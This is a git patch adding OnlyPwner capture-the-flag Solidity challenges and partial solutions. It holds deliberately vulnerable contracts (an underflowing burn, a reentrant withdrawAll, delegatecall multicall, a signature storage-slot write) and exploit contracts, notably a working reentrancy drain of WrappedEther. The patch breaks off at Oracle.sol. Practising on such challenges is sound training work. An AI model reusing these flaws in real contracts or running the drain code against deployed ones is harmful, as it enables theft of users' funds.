From 617032bae4e7f1b78584b9df8a85a7fc687adc24 Mon Sep 17 00:00:00 2001 From: Boris Date: Sun, 8 Oct 2023 21:51:12 +0800 Subject: [PATCH] a --- .gitmodules | 6 + README.md | 4 + .../{05.FREEBIE.sol => 01.FREEBIE.sol} | 1 - .../{01.TUTORIAL.sol => 02.TUTORIAL.sol} | 1 - .../CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol | 10 +- contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol | 68 +++++++++ contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol | 99 +++++++++++++ contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol | 119 ++++++++++++++++ .../CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol | 87 ++++++++++++ .../CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol | 130 ++++++++++++++++++ contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol | 82 +++++++++++ contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol | 85 ++++++++++++ contracts/CTF/ONLYPWNER/11.DIVERSION.sol | 2 + .../CTF/ONLYPWNER/11.DIVERSION/Farming.sol | 107 ++++++++++++++ .../CTF/ONLYPWNER/11.DIVERSION/Oracle.sol | 22 +++ .../11.DIVERSION/ReentrancyGuard.sol | 13 ++ .../11.DIVERSION/interfaces/IFarming.sol | 8 ++ .../interfaces/IMintableERC20.sol | 10 ++ .../11.DIVERSION/interfaces/IOracle.sol | 8 ++ .../11.DIVERSION/interfaces/IWETH.sol | 10 ++ .../11.DIVERSION/token/MintableERC20.sol | 22 +++ .../CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol | 80 +++++++++++ .../11.DIVERSION/uniswap/DependencyRouter.sol | 11 ++ contracts/CTF/ONLYPWNER/12.PAYDAY.sol | 2 + foundry/lib/v2-core | 1 + foundry/lib/v2-periphery | 1 + .../script/CTF/ONLYPWNER/01.TUTORIAL.s.sol | 2 +- .../CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol | 65 --------- foundry/script/CTF/ONLYPWNER/05.FREEBIE.s.sol | 2 +- .../CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol | 40 ++++++ .../CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol | 65 +++++++++ .../CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol | 51 +++++++ .../test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol | 53 +++++++ remappings.txt | 2 + 34 files changed, 1196 insertions(+), 73 deletions(-) rename contracts/CTF/ONLYPWNER/{05.FREEBIE.sol => 01.FREEBIE.sol} (99%) rename contracts/CTF/ONLYPWNER/{01.TUTORIAL.sol => 02.TUTORIAL.sol} (99%) create mode 100644 contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol create mode 100644 contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol create mode 100644 contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol create mode 100644 contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol create mode 100644 contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol create mode 100644 contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol create mode 100644 contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/ReentrancyGuard.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IFarming.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IMintableERC20.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IOracle.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/interfaces/IWETH.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/token/MintableERC20.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/token/WETH.sol create mode 100644 contracts/CTF/ONLYPWNER/11.DIVERSION/uniswap/DependencyRouter.sol create mode 100644 contracts/CTF/ONLYPWNER/12.PAYDAY.sol create mode 160000 foundry/lib/v2-core create mode 160000 foundry/lib/v2-periphery delete mode 100644 foundry/script/CTF/ONLYPWNER/03.REVERSE-RUGPULL.s.sol create mode 100644 foundry/script/CTF/ONLYPWNER/05.WRAPPED-ETHER.s.sol create mode 100644 foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol create mode 100644 foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol create mode 100644 foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol diff --git a/.gitmodules b/.gitmodules index 81a59de..bcb0a3d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -16,3 +16,9 @@ [submodule "foundry/lib/prb-test"] path = foundry/lib/prb-test url = https://github.com/PaulRBerg/prb-test +[submodule "foundry/lib/v2-periphery"] + path = foundry/lib/v2-periphery + url = https://github.com/Uniswap/v2-periphery +[submodule "foundry/lib/v2-core"] + path = foundry/lib/v2-core + url = https://github.com/Uniswap/v2-core diff --git a/README.md b/README.md index 577d9d0..57c42e8 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,10 @@ git submodule update --rebase --remote # OR forge install OpenZeppelin/openzeppelin-contracts@v5.0.0 --no-commit forge install foundry-rs/forge-std@v1.7.1 --no-commit + +forge install Uniswap/v2-periphery --no-commit +forge install Uniswap/v2-core --no-commit + ``` ```bash diff --git a/contracts/CTF/ONLYPWNER/05.FREEBIE.sol b/contracts/CTF/ONLYPWNER/01.FREEBIE.sol similarity index 99% rename from contracts/CTF/ONLYPWNER/05.FREEBIE.sol rename to contracts/CTF/ONLYPWNER/01.FREEBIE.sol index 8a056a4..ab7ff28 100644 --- a/contracts/CTF/ONLYPWNER/05.FREEBIE.sol +++ b/contracts/CTF/ONLYPWNER/01.FREEBIE.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; interface IVault { diff --git a/contracts/CTF/ONLYPWNER/01.TUTORIAL.sol b/contracts/CTF/ONLYPWNER/02.TUTORIAL.sol similarity index 99% rename from contracts/CTF/ONLYPWNER/01.TUTORIAL.sol rename to contracts/CTF/ONLYPWNER/02.TUTORIAL.sol index 3927689..424a4b0 100644 --- a/contracts/CTF/ONLYPWNER/01.TUTORIAL.sol +++ b/contracts/CTF/ONLYPWNER/02.TUTORIAL.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; interface ITutorial { diff --git a/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol b/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol index 9633525..377aa21 100644 --- a/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol +++ b/contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; +import { console2 } from "forge-std/console2.sol"; import { ERC20 } from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; import { IERC20 } from "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; @@ -46,7 +46,7 @@ contract Vault is IVault { shares[msg.sender] += newShares; totalShares += newShares; - + console2.log("deposit:", msg.sender, amount, newShares); token.transferFrom(msg.sender, address(this), amount); } @@ -62,7 +62,7 @@ contract Vault is IVault { if (msg.sender == owner) { payoutAmount *= 2; } - + console2.log("withdraw:", msg.sender, sharesAmount, payoutAmount); token.transfer(msg.sender, payoutAmount); } } @@ -74,7 +74,9 @@ contract VaultExploit { victimInstance = Vault(_victim); } - function attack() external payable { } + function attack() external payable { + victimInstance.deposit(type(uint256).max); + } receive() external payable { } } diff --git a/contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol b/contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol new file mode 100644 index 0000000..953d735 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IImprovedERC20 { + function transfer(address _to, uint256 _value) external returns (bool); + + function transferFrom(address _from, address _to, uint256 _value) external returns (bool); + function approve(address _spender, uint256 _value) external returns (bool); + function mint(uint256 _value) external; + function burn(address _who, uint256 _value) external; + function owner() external view returns (address); + function balanceOf(address _who) external view returns (uint256); + function allowance(address _owner, address _spender) external view returns (uint256); + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); +} + +contract ImprovedERC20 is IImprovedERC20 { + mapping(address => uint256) public override balanceOf; + mapping(address => mapping(address => uint256)) public override allowance; + address public override owner; + + string public override name; + string public override symbol; + uint8 public override decimals; + + constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) { + name = _name; + symbol = _symbol; + decimals = _decimals; + owner = msg.sender; + balanceOf[msg.sender] = _initialSupply; + } + + function transfer(address _to, uint256 _value) external override returns (bool) { + require(balanceOf[msg.sender] >= _value, "Insufficient balance"); + balanceOf[msg.sender] -= _value; + balanceOf[_to] += _value; + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) external override returns (bool) { + require(balanceOf[_from] >= _value, "Insufficient balance"); + require(allowance[_from][msg.sender] - _value > 0, "Insufficient allowance"); + balanceOf[_from] -= _value; + balanceOf[_to] += _value; + allowance[_from][msg.sender] -= _value; + return true; + } + + function approve(address _spender, uint256 _value) external override returns (bool) { + allowance[msg.sender][_spender] = _value; + return true; + } + + function mint(uint256 _value) external override { + require(msg.sender == owner, "Only owner can mint"); + balanceOf[msg.sender] += _value; + } + + function burn(address _who, uint256 _value) external override { + require(balanceOf[_who] >= _value, "Insufficient balance"); + unchecked { + balanceOf[_who] -= _value; + } + } +} diff --git a/contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol b/contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol new file mode 100644 index 0000000..29d061f --- /dev/null +++ b/contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IWrappedEther { + event Transfer(address indexed from, address indexed to, uint256 amount); + event Approval(address indexed owner, address indexed spender, uint256 amount); + event Deposit(address indexed from, uint256 amount); + event Withdraw(address indexed to, uint256 amount); + + function deposit(address to) external payable; + function withdraw(uint256 amount) external; + function withdrawAll() external; + function transfer(address to, uint256 amount) external; + function transferFrom(address from, address to, uint256 amount) external; + function approve(address spender, uint256 amount) external; + function balanceOf(address account) external view returns (uint256); + function allowance(address owner, address spender) external view returns (uint256); +} + +contract WrappedEther is IWrappedEther { + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + function deposit(address to) external payable { + balanceOf[to] += msg.value; + emit Deposit(msg.sender, msg.value); + } + + function withdraw(uint256 amount) external { + require(balanceOf[msg.sender] >= amount, "insufficient balance"); + balanceOf[msg.sender] -= amount; + sendEth(payable(msg.sender), amount); + emit Withdraw(msg.sender, amount); + } + + function withdrawAll() external { + sendEth(payable(msg.sender), balanceOf[msg.sender]); + balanceOf[msg.sender] = 0; + emit Withdraw(msg.sender, balanceOf[msg.sender]); + } + + function transfer(address to, uint256 amount) external { + require(balanceOf[msg.sender] >= amount, "insufficient balance"); + balanceOf[msg.sender] -= amount; + balanceOf[to] += amount; + emit Transfer(msg.sender, to, amount); + } + + function transferFrom(address from, address to, uint256 amount) external { + require(balanceOf[from] >= amount, "insufficient balance"); + require(allowance[from][msg.sender] >= amount, "insufficient allowance"); + balanceOf[from] -= amount; + balanceOf[to] += amount; + allowance[from][msg.sender] -= amount; + emit Transfer(from, to, amount); + } + + function approve(address spender, uint256 amount) external { + allowance[msg.sender][spender] = amount; + emit Approval(msg.sender, spender, amount); + } + + function sendEth(address payable to, uint256 amount) private { + (bool success,) = to.call{ value: amount }(""); + require(success, "failed to send ether"); + } +} + +contract WrappedEtherExploit { + WrappedEther private victimInstance; + uint256 private initialDeposit; + + constructor(address _victim) { + victimInstance = WrappedEther(_victim); + } + + function attack() external payable { + initialDeposit = msg.value; + victimInstance.deposit{ value: initialDeposit }(address(this)); + _withdraw(); + } + + receive() external payable { + _withdraw(); + } + + function _withdraw() private { + uint256 victimBalance = address(victimInstance).balance; + if (victimBalance > 0) { + uint256 toWithdraw = initialDeposit; + if (toWithdraw > victimBalance) { + toWithdraw = victimBalance; + } + if (toWithdraw > 0) { + victimInstance.withdrawAll(); + } + } + } +} diff --git a/contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol b/contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol new file mode 100644 index 0000000..596db44 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/06.ALL-OR-NOTHING.sol @@ -0,0 +1,119 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IMulticall { + function multicall(bytes[] calldata data) external payable returns (bytes[] memory results); +} + +interface IAllOrNothing { + function declareWinner(address user) external; + function withdrawWinnings() external; + function bet(uint256 number, address recipient) external payable; + function void() external; + function transfer(address to) external; + function publish(uint256 number) external; + function owner() external returns (address); + function bestPlayer() external returns (address); + function winningNumber() external returns (uint256); + function bets(address) external returns (uint256); + function BET_AMOUNT() external returns (uint256); + function DEADLINE() external returns (uint256); + function DECLARE_DEADLINE() external returns (uint256); +} + +contract Multicall is IMulticall { + function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) { + results = new bytes[](data.length); + for (uint256 i = 0; i < data.length; i++) { + results[i] = doDelegateCall(data[i]); + } + return results; + } + + function doDelegateCall(bytes memory data) private returns (bytes memory) { + (bool success, bytes memory res) = address(this).delegatecall(data); + + if (!success) { + revert(string(res)); + } + + return res; + } +} +/// A contract where users can bet on a random number being published. +/// The user who is closest to the number wins all the bets. + +contract AllOrNothing is IAllOrNothing, Multicall { + address public owner; + address public bestPlayer; + uint256 public winningNumber; + mapping(address => uint256) public bets; + + uint256 public immutable BET_AMOUNT; + uint256 public immutable DEADLINE; + uint256 public immutable DECLARE_DEADLINE; + + constructor(uint256 betAmount, uint256 duration) { + owner = msg.sender; + BET_AMOUNT = betAmount; + DEADLINE = block.timestamp + duration; + DECLARE_DEADLINE = DEADLINE + 1 days; + } + + function declareWinner(address user) external { + require(bets[user] != 0, "Must have placed bet"); + require(block.timestamp >= DEADLINE && block.timestamp < DECLARE_DEADLINE, "Deadline not passed"); + require(winningNumber != 0, "Winning number not published"); + + if (bestPlayer == address(0)) { + bestPlayer = user; + return; + } + unchecked { + uint256 distance = bets[user] > winningNumber ? bets[user] - winningNumber : winningNumber - bets[user]; + uint256 bestDistance = + bets[bestPlayer] > winningNumber ? bets[bestPlayer] - winningNumber : winningNumber - bets[bestPlayer]; + if (distance < bestDistance) { + bestPlayer = user; + } + } + } + + function withdrawWinnings() external { + require(msg.sender == bestPlayer, "Must be best player"); + require(block.timestamp >= DECLARE_DEADLINE, "Deadline not passed"); + + payable(msg.sender).transfer(address(this).balance); + } + + function bet(uint256 number, address recipient) external payable { + require(bets[recipient] == 0, "Already placed bet"); + require(msg.value == BET_AMOUNT, "Value too low"); + require(block.timestamp < DEADLINE, "Deadline passed"); + + bets[recipient] = number; + } + + function void() external { + require(bets[msg.sender] != 0, "Must have placed bet"); + require(block.timestamp < DEADLINE, "Deadline passed"); + + bets[msg.sender] = 0; + payable(msg.sender).transfer(BET_AMOUNT); + } + + function transfer(address to) external { + require(bets[msg.sender] != 0, "Must have placed bet"); + require(bets[to] == 0, "Recipient must not have placed bet"); + + bets[to] = bets[msg.sender]; + bets[msg.sender] = 0; + } + + function publish(uint256 number) external { + require(msg.sender == owner, "Must be owner"); + require(block.timestamp >= DEADLINE, "Deadline not passed"); + + winningNumber = number; + } +} diff --git a/contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol b/contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol new file mode 100644 index 0000000..9c74b30 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/07.PLEASE-SIGN-HERE.sol @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IPetition { + function initialize() external; + function signSupport(Signature calldata signature) external; + function signReject(Signature calldata signature) external; + function finishPetition() external; + function owner() external view returns (address); + function isFinished() external view returns (bool); + function supportDigest() external view returns (bytes32); + function rejectDigest() external view returns (bytes32); + + struct Signature { + uint8 v; + bytes32 r; + bytes32 s; + } + + struct StoragePointer { + uint256 value; + } + + event Signed(address indexed signer, bool isSupport); +} + +contract Petition is IPetition { + address public override owner; + bool public isFinished; + + bytes32 public override supportDigest; + bytes32 public override rejectDigest; + + function initialize() external override { + require(owner == address(0), "Already initialized"); + owner = msg.sender; + + string memory toSignSupport = "I support the cause!"; + bytes32 hashSupport = keccak256(abi.encodePacked(toSignSupport)); + supportDigest = toEthSignedMessageHash(hashSupport); + + string memory toSignReject = "I reject the cause!"; + bytes32 hashReject = keccak256(abi.encodePacked(toSignReject)); + rejectDigest = toEthSignedMessageHash(hashReject); + } + + function signSupport(Signature calldata signature) external override { + require(!isFinished, "Petition is finished"); + address signer = ecrecover(supportDigest, signature.v, signature.r, signature.s); + writeStatus(signer, true); + } + + function signReject(Signature calldata signature) external override { + require(!isFinished, "Petition is finished"); + address signer = ecrecover(rejectDigest, signature.v, signature.r, signature.s); + writeStatus(signer, false); + } + + function finishPetition() external override { + require(msg.sender == owner, "Only owner can finish petition"); + isFinished = true; + } + + function writeStatus(address signer, bool isSupport) private { + StoragePointer storage pointer; + bytes32 slot = bytes32(uint256(uint160(signer))); + assembly { + pointer.slot := slot + } + + if (isSupport) { + pointer.value = 1; + } else { + pointer.value = 0; + } + + emit Signed(signer, isSupport); + } + + function toEthSignedMessageHash(bytes32 hash) private pure returns (bytes32 result) { + assembly { + mstore(0x00, "\x19Ethereum Signed Message:\n32") + mstore(0x1c, hash) + result := keccak256(0x00, 0x3c) + } + } +} diff --git a/contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol b/contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol new file mode 100644 index 0000000..0f72b14 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/08.BRIDGE-TAKEOVER.sol @@ -0,0 +1,130 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// https://onlypwner.xyz/challenges/3 + +interface IBridge { + struct ValidatorInfo { + uint256 deposit; + address referrer; + bytes32 tag; + } + + function voteForNewRoot(bytes calldata vote) external; + function registerValidator(address referrer, bytes32 tag) external payable; + function addAdmin(address admin) external; + function owner() external view returns (address); + function admins(uint256) external view returns (address); + function validators(address) external view returns (ValidatorInfo memory); + function votedOn(bytes32, address) external view returns (bool); + function votesFor(bytes32) external view returns (uint256); + function stateRoot() external view returns (bytes32); + + event ValidatorRegistered(address indexed validator, bytes32 tag); + event ValidatorUnregistered(address indexed validator); + event ValidatorActivated(address indexed validator); + event ValidatorDisabled(address indexed validator); + + event NewStateRoot(bytes32 indexed stateRoot, bytes32 indexed validatorTag); +} + +contract Bridge is IBridge { + address public override owner; + address[] public override admins; + mapping(address => ValidatorInfo) private _validators; + mapping(bytes32 => mapping(address => bool)) public override votedOn; + mapping(bytes32 => uint256) public override votesFor; + bytes32 public override stateRoot; + + uint256 constant PREFIX_LENGTH = 0x4 + 0x20 + 0x20; + + modifier onlyValidator() { + require(_validators[msg.sender].deposit > 0, "Bridge: caller is not a validator"); + _; + } + + modifier onlyOwner() { + require(msg.sender == owner, "Bridge: caller is not the owner"); + _; + } + + constructor() { + owner = msg.sender; + } + + function voteForNewRoot(bytes calldata vote) external override onlyValidator { + (bytes32 newRoot, bool isFor,) = decodeCompressedVote(vote); + handleNewVote(newRoot, isFor); + + if (isFor) { + tryActivateStateRoot(newRoot); + } + } + + function registerValidator(address referrer, bytes32 tag) external payable override { + require(msg.value >= 1 ether, "Bridge: insufficient deposit"); + require(_validators[msg.sender].deposit == 0, "Bridge: already registered"); + + _validators[msg.sender] = ValidatorInfo({ deposit: msg.value, referrer: referrer, tag: tag }); + + emit ValidatorRegistered(msg.sender, tag); + } + + function addAdmin(address admin) external override onlyOwner { + admins.push(admin); + } + + function validators(address validator) external view override returns (ValidatorInfo memory) { + return _validators[validator]; + } + + function decodeCompressedVote(bytes memory vote) private pure returns (bytes32 newRoot, bool isFor, uint48 ts) { + require(vote.length <= PREFIX_LENGTH + 0x28, "Bridge: invalid vote length"); + + assembly { + calldatacopy(0x0, PREFIX_LENGTH, calldatasize()) + newRoot := mload(0x0) + isFor := mload(0x20) + ts := shr(mload(0x22), 0x20) + } + } + + function handleNewVote(bytes32 newRoot, bool isFor) private { + require(!votedOn[newRoot][msg.sender], "Bridge: validator already voted"); + votedOn[newRoot][msg.sender] = true; + + if (!isFor) { + return; + } + + votesFor[newRoot] += _validators[msg.sender].deposit; + } + + function tryActivateStateRoot(bytes32 root) private { + ValidatorInfo memory info = _validators[msg.sender]; + address[] memory currentAdmins = getAdmins(); + + bool isAdmin = false; + for (uint256 i = 0; i < currentAdmins.length; i++) { + if (currentAdmins[i] == msg.sender) { + isAdmin = true; + break; + } + } + + if (isAdmin || votesFor[root] >= 100 ether) { + votesFor[root] = 0; + stateRoot = root; + emit NewStateRoot(root, info.tag); + } + } + + function getAdmins() private view returns (address[] memory result) { + if (admins.length > 0) { + result = new address[](admins.length); + for (uint256 i = 0; i < admins.length; i++) { + result[i] = admins[i]; + } + } + } +} diff --git a/contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol b/contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol new file mode 100644 index 0000000..f291c75 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/09.SHAPESHIFTER.sol @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +// https://onlypwner.xyz/challenges/8 + +interface ITarget { + function first() external returns (bytes32); + function second() external returns (bytes32); + function third() external returns (bytes32); +} + +interface IStunt { + function attempt(address target) external; + function claimReward(address target) external; + function withdraw() external; + function owner() external returns (address); + function solved(address) external returns (bool); + function claimed(address) external returns (bool); +} + +contract Stunt is IStunt { + address public override owner; + mapping(address => bool) public override solved; + mapping(address => bool) public override claimed; + + constructor() payable { + owner = msg.sender; + } + + modifier onlyContract(address target) { + uint256 size; + assembly { + size := extcodesize(target) + } + + require(size > 0, "not a contract"); + _; + } + + function attempt(address target) external override onlyContract(target) { + bytes32 firstResult = ITarget(target).first(); + require(firstResult == hex"deadbeef", "first failed"); + + bytes32 secondResult = ITarget(target).second(); + require(secondResult == hex"c0ffeebabe", "second failed"); + + bytes32 thirdResult = ITarget(target).third(); + require(thirdResult == hex"1337", "third failed"); + + solved[target] = true; + } + + function claimReward(address target) external override onlyContract(target) { + require(solved[target], "not solved"); + require(!claimed[target], "already claimed"); + + claimed[target] = true; + + uint256 size; + assembly { + size := extcodesize(target) + } + + uint256 reward; + if (size <= 3) { + // Don't worry, that is impossible. + reward = 100 ether; + } else if (size <= 10) { + reward = 1e12; + } else if (size <= 100) { + reward = 1e10; + } + + (bool success,) = target.call{ value: reward }(""); + require(success, "transfer failed"); + } + + function withdraw() external override { + require(msg.sender == owner, "not owner"); + payable(msg.sender).transfer(address(this).balance); + } +} diff --git a/contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol b/contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol new file mode 100644 index 0000000..bc3dae8 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/10.13TH-AIRDROP.sol @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IAirdrop { + function claim(address recipient) external; + function addRecipient(address recipient) external payable; + function balances(address who) external view returns (uint256); +} + +contract Airdrop is IAirdrop { + mapping(address => uint256) public balances; + uint256 private savedContractBalance; + bool private entered = false; + + constructor() { } + + // Only EOAs can interact with this contract for security reasons. + modifier notContract(address who) { + uint256 size; + assembly { + size := extcodesize(who) + } + require(size == 0, "Contracts not allowed"); + _; + } + + // To be extra safe, we still use a reentrancy guard. + modifier nonReentrant() { + require(!entered, "ReentrancyGuard: reentrant call"); + entered = true; + _; + entered = false; + } + + function claim(address recipient) external notContract(recipient) { + savedContractBalance = address(this).balance; + + require(!entered, "ReentrancyGuard: reentrant call"); + entered = true; + (bool success,) = msg.sender.call{ value: balances[msg.sender] }(""); + require(success, "Transfer failed."); + // No reentrancy opportunity from here on. + entered = false; + + updateUserBalance(); + } + + function addRecipient(address recipient) external payable nonReentrant notContract(recipient) { + balances[recipient] += msg.value; + } + + function updateUserBalance() internal { + // This will get called quite often + // so we implement the expensive logic in assembly. + assembly { + function checkFunds(originalUserBalance, originalContractBalance) -> newUserBalance { + /// @dev In case we add fee-on-transfer tokens at some point + let expectedBalance := sub(originalContractBalance, originalUserBalance) + if iszero(gt(balance(address()), expectedBalance)) { + let diff := sub(expectedBalance, balance(address())) + newUserBalance := sub(newUserBalance, diff) + leave + } + + return(0, 0) + } + + mstore(0x0, caller()) + mstore(0x20, 0) + // Get the balances mapping slot + let slot := keccak256(0x0, 0x40) + let originalContractBalance := sload(1) + let originalUserBalance := sload(slot) + + // Optimistically set it to 0. + sstore(slot, 0) + + let newUserBalance := checkFunds(originalUserBalance, originalContractBalance) + + // If we had a fee-on-transfer token, set the correct balance. + // (Not yet implemented) + sstore(slot, newUserBalance) + } + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION.sol new file mode 100644 index 0000000..15a8c0d --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION.sol @@ -0,0 +1,2 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol new file mode 100644 index 0000000..c90ed91 --- /dev/null +++ b/contracts/CTF/ONLYPWNER/11.DIVERSION/Farming.sol @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { IOracle } from "./interfaces/IOracle.sol"; +import { IWETH } from "./interfaces/IWETH.sol"; +import { IFarming } from "./interfaces/IFarming.sol"; +import { ReentrancyGuard } from "./ReentrancyGuard.sol"; +import { IMintableERC20 } from "./interfaces/IMintableERC20.sol"; +import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; + +contract Farming is ReentrancyGuard, IFarming { + IWETH public WETH; + IMintableERC20 public VUL; + IOracle public ORACLE; + IUniswapV2Router02 public UNISWAPV2_ROUTER02; + + mapping(address => uint256) public shares; + uint256 public totalShares = 0; + + uint256 lastAccumulateTimestamp; + uint256 yieldVulPerSecond; + + constructor(address _vul, address _weth, address _oracle, address _router, uint256 _yieldVulPerSecond) { + VUL = IMintableERC20(_vul); + WETH = IWETH(_weth); + ORACLE = IOracle(_oracle); + UNISWAPV2_ROUTER02 = IUniswapV2Router02(_router); + yieldVulPerSecond = _yieldVulPerSecond; + lastAccumulateTimestamp = block.timestamp; + } + + function deposit(uint256 amount) external nonReentrant { + require(amount > 0, "Farming: Amount must be greater than 0"); + + // TODO: Allow users to specify the path here too? + accumulateYield(getDefaultPath()); + + uint256 currentBalance = WETH.balanceOf(address(this)); + uint256 currentShares = totalShares; + + uint256 newShares; + if (currentShares == 0) { + newShares = amount; + } else { + newShares = (amount * currentShares) / currentBalance; + } + + shares[msg.sender] += newShares; + totalShares += newShares; + + // This should be fine since we are hardcoded to WETH. + WETH.transferFrom(msg.sender, address(this), amount); + } + + function withdraw(uint256 sharesAmount) external nonReentrant { + require(sharesAmount > 0, "Farming: Amount must be greater than 0"); + + accumulateYield(getDefaultPath()); + + uint256 currentBalance = WETH.balanceOf(address(this)); + uint256 payoutAmount = (sharesAmount * currentBalance) / totalShares; + + shares[msg.sender] -= sharesAmount; + totalShares -= sharesAmount; + + WETH.transfer(msg.sender, payoutAmount); + } + + function accumulateYield(address[] memory path) public { + uint256 secs = block.timestamp - lastAccumulateTimestamp; + uint256 yield = secs * yieldVulPerSecond; + + if (yield == 0) { + // Save some gas if there is no yield to accumulate. + return; + } + + lastAccumulateTimestamp = block.timestamp; + + VUL.mint(address(this), yield); + swapYieldToWeth(path); + } + + function swapYieldToWeth(address[] memory path) private { + require(path.length > 1, "Farming: Path must have at least 2 elements"); + require(path[0] == address(VUL), "Farming: Path must start with VUL"); + require(path[path.length - 1] == address(WETH), "Farming: Path must end with WETH"); + + uint256 amount = VUL.balanceOf(address(this)); + // We are fine with any path as long as it has a better price. + // The oracle is pinned to the VUL-WETH pair, so if another path works + // based on the below formula, it is guaranteed that the price is better. + uint256 expectedWethAmount = (ORACLE.vulToWethPrice() * amount) / 1e18; + + VUL.approve(address(UNISWAPV2_ROUTER02), amount); + UNISWAPV2_ROUTER02.swapExactTokensForTokensSupportingFeeOnTransferTokens( + amount, expectedWethAmount, path, address(this), block.timestamp + ); + } + + function getDefaultPath() private view returns (address[] memory) { + address[] memory path = new address[](2); + path[0] = address(VUL); + path[1] = address(WETH); + return path; + } +} diff --git a/contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol b/contracts/CTF/ONLYPWNER/11.DIVERSION/Oracle.sol new file mode 100644 index 0000000..b5e9308 --- /dev/null +++ 